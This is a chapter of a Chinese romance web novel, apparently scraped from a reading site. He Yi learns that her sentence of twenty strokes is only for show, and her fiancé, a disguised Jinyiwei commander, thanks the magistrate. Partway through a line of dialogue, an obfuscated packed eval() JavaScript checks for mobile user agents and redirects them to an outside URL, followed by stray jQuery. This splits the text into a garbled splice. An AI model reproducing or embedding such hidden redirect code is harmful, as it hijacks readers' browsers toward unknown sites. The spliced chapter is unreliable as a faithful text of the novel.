12. 第 12 章

作品:《我男票是锦衣卫

    衙役步伐一顿。眼见到了走廊,他随手将水火棍竖着支在走廊的柱子上,转过身来笑了:“姑娘别害怕,你不用挨打。”


    “啊?”何仪似惊似笑,她扯扯嘴角又迅速皱起眉头,似乎是不相信衙役的话:“官爷,方才县令大人分明说要罚我二十板子。”


    衙役先是一愣,随即笑了。他顺手将签子递给了何仪:“姑娘请看——这签子底下缠着红线。”


    何仪愣怔地接过签子,一时间没能看出红线,反倒觉得手心一阵异样,摸着不像是涂了漆的木头,反倒像是粗糙的麻线。


    听了衙役的话,何仪低头去看,果然瞧见签字底部缠着好多圈的红线,只是这签子是红色的,那线也是红色的,两者颜色相近,线又缠得很紧,要不是衙役提起、她又拿在手里仔细查看,还真发现不了这件事。


    但话说回来,缠着这些麻线,即便看不出来丝线,倒也能觉出不同来。


    看完了,何仪双手将签子递回到衙役手里:“官爷,这红线……是什么意思?”


    衙役收好签子笑了:“姑娘是第一次进公堂吧?”


    “公堂里行刑要看签子。那签子有红有黑,各自代表不同的行刑数量,行刑时的轻重也有差别。”


    “都说法不容情,可有些时候,有些刑罚实在没有必要。”


    “譬如姑娘这样,明明不应该挨打,却为了法度不得不挨打的情况,倒也时有发生。”


    “所以,县令大人就在签子上做了手脚,底下缠着丝线的,堂上轻打、堂后不打。”


    “这回老爷丢下的签子上头有红线,又准姑娘在堂后受刑,说白了就是不准备打罚姑娘,只是为了朝廷的法度,做样子给外人看而已。”


    听完了这话,何仪完全放松下来。她笑着道谢,衙役说不必,却一动不动地站在原处。


    何仪有些纳闷,又听衙役笑:“姑娘,即便是做样子,也要把戏做全;此番老爷罚了姑娘板子,我要等一会儿,估摸着打完了才能回去。”


    何仪又尴尬起来。


    停了会儿,衙役估摸着时间差不多了,方才提着水火棍离去了;他一走,何仪便听见一声唤:“小仪!”


    这声音带笑。何仪转头望,果然瞧见穆清风从走廊那边跑了过来。


    等到了身前,穆清风纳罕地皱着眉头:“怎么出了这么多的汗?陈琼——陈县令吓唬你了?”


    说着穆清风从袖袋中掏帕子,结果发现自己没带,索性抬起袖子替她擦汗。


    何仪这会儿正害怕呢,陡然见了穆清风,顺势靠在了他身上:“没有,是我胆子小……”


    原先何仪说话还算镇定,如今见了穆清风,心头忽然觉出几分后怕来,说话也带了哭腔:“我还以为我要挨打呢……”


    “……有我在,你怎么会挨打,”穆清风忍不住笑了。他拉着何仪坐在走廊低矮的栏杆上,见何仪瞪他,忍不住开了个玩笑:“当然,小仪若是想挨打,我自然也能让小仪如愿。”


    何仪眉头微微皱起,四下胡乱看着:“今天怎么忽然说要做了这事?方才你又在哪里?外头的人怎么那么了解姓赵的?”


    穆清风揽着她肩头一样样地说:“先前我让人去宣扬继父好赌的事;方才升堂时,我在外头埋了几个番子,让他们把继父的无耻行径说出来——外头起哄的那些人,就是我埋的番子。”


    “原先我想着过几天再做这事,但我忽然领了差事,估摸着得出去一段时间。我怕我走了,继父再找你的麻烦,就赶着今天把事情做了。”


    “方才我就在后堂等着,想着等陈县令回来后,好好地谢谢人家。”


    何仪静静地听着。方才外头的人七嘴八舌地把继父做的坏事说了出来,她便隐约有了猜测;这会儿听见穆清风的话,心头疑惑荡然无存。不过,她又望着穆清风问:“清风,番子是什么?”


    穆清风静了一静,随口解释道:“就是平常做侦察的人。这些人精明,做事还算妥当。”


    穆清风没说的是,番子是对东厂一些人的称呼。


    锦衣卫与东厂关系匪浅——东厂的属官很少有专职人员,大多是从锦衣卫里招揽来的;东厂专司侦伺的人叫档头,手下听差的叫番子;他是锦衣卫指挥使,许多番子都让他过目过,选几个得力的番子,倒也不是难事。


    只不过锦衣卫与东厂的名声一个比一个难听……还是别说出来让她害怕了。


    好在何仪也没有纠缠这件事。她哦了一声:“你要出差事啊?什么时候走?要去多少天?”


    “具体我也不清楚,”穆清风含糊了过去:“估摸着就这几天的事。”


    “等我回来,咱们就成亲,好不好?”


    何仪轻声应了,忽然又苦恼起来:“对了,那条手串……好像被送人了。”


    听福寿阁掌柜的意思,那条手串似乎不在他手里,反倒给了福寿阁的小公子。


    “是,我知道,被送给了福寿阁的公子,”穆清风也有些好笑——


    福寿阁掌柜的眼睛倒是亮。那么贵重的一条青金石手串,一面压着价钱、只让继父当了二百两银子倒也罢了,居然不顾那手串的大小尺寸,当天就送给了自家的主子。


    见何仪情绪低落,他笑道:“左右还有当票——等下我找人赎回来就是。”


    “到底是咱们的东西,当票上又写着时限,他们也不能不给咱们。”


    “不过,我这几天要出去,恐怕等不到手串回来。”


    说着穆清风大着胆子握住了何仪的手:“那就劳烦我的小仪收着——”


    “这手串我戴了十多年,本来不该送给你——送人东西,哪能送用过的呢?”


    “不过听说青金石是药师佛的身色,是佛家七宝之一,有消灾解厄之用。”


    “这回我出去,就让它陪着你,也让我安心。”


    何仪低头轻笑。她道:“刚好上回你给了我二百两银子,恰好能把东西赎回来——又劳你破费了。”


    穆清风可不愿意让她花钱。他只是笑:“都要做一家人了,还说什么破费不破费的,未免太过见外——我让人去赎,你一个女孩子,做事有许多的不方便。”


    何仪抬头望着穆清风——


    她不愿意受人恩惠,即便是穆清风,他给她的钱,她也一直好好地收着,想着以后用作家用。


    不过这回手串到了别人手中,确实如穆清风所说,他去赎更为方便。


    那穆清风给她的钱……她便好好收着,自己也添一笔钱,为他在皇宫附近买个小院子,以后也方便他当差。


    如是想着,何仪笑着点了点头:“好,你安心在外头办差,成婚的事情你不用管,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143070|180451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我一定把所有东西都准备好了。”


    穆清风呼吸乱了一下。他脸颊渐渐红了,下意识别过头笑:“你……钱够吗?我还有点积蓄……”


    话一出口,穆清风就暗暗责怪自己果然是个笨人,人家话都说到这里了,他居然只问对方钱够不够。


    何仪转头望他,穆清风面色更红,说话也有些磕绊:“不是、我、我说——”


    “我知道,钱够用。”何仪忍不住逗他:“不过,你哪里来的那么多积蓄?”


    穆清风被她问住了,一愣后磕磕绊绊地解释:“我们头儿——指挥使大方,收的赏赐都分给了我们,见我们成婚就送礼金、很多……再加上我有点祖产——”


    “不是敲诈勒索来的吧?”何仪忍不住笑:“好啦,我没有想查你私房的意思。我想说,听说锦衣卫总是收孝敬——”


    “你以后不要了。我也能赚钱,够咱们花用,你不要收那些昧良心的钱。”


    穆清风转头望她,深深吸了口气:“好——不对,我没有收过孝敬。”


    他确实没收过孝敬,最多收皇帝的赏赐,别被她误会了。


    眼见穆清风耳朵都红透了,何仪忍不住大笑起来,笑着笑着忽然停了:“对了,陈县令会不会过来?我们用不用做些什么道谢?”


    何仪一说,穆清风也反应过来了——这会儿俩人还在县衙后堂呢。


    穆清风刚想说不用,余光便瞧见陈琼走了过来。他一惊,起身拉着何仪一并走到陈琼面前,想也不想地对着陈琼作了个揖:“此番,多谢陈县令为我护住小——护住未婚妻。”


    “陈县令的恩情,我没齿难忘——陈县令不必还礼,虽说我是个六品的锦衣卫百户、比县令高上一品,但这次是陈县令帮了我,该我作揖道谢。”


    穆清风作揖,何仪也跟着福了福身。


    正要行礼的陈琼便僵住了。他虚虚将二人扶起,又干笑着擦了擦面上的汗:“穆——穆百户言重了,我不过是举手之劳。二位可要进去歇一歇、喝杯茶?”


    上午穆清风气势汹汹地闯了进来,直接将好不容易闲了下来、预备写几首诗歌自娱自乐的陈琼吓得够呛,好不容易才弄明白原来穆清风心尖子上有个宝贝,要陈琼护住这宝贝。


    陈琼忙换了官服,连洗把脸都没有就去升堂了,没想到回到后堂之后,这俩祖宗居然还没有走,那凶名在外的锦衣卫指挥使居然还给他作揖、自称是百户。


    虽然陈琼一头雾水、全弄不明白原委,但还是顺着穆清风的意思来了。


    这会儿他说了邀请,穆清风也直起身体来。他笑道:“不,不敢叨扰大人……我们便先回去了。”


    陈琼说好,亲自将二人送出了后门,远远地望着两人身影转过了街角、终于消失在视线里,陈琼才心有余悸地擦了擦额头上的热汗:“这位锦衣卫指挥使大人到底在做什么啊?有什么事,是他搞不定,居然还要咱们来做的?”


    方才公堂上的刑名师爷也跟过来了。他拈了拈自己稀疏的几根山羊须:“小人也不明白。但瞧着穆指挥的意思,这回他倒是欠了咱们一个人情。”


    “这倒是,”陈琼痛快地笑了:“锦衣卫指挥使穆飏的人情……不错,不错!”


    陈琼高兴起来,忽然觉出身上粘腻的厉害,又大步往后堂走去:“备水,沐浴!”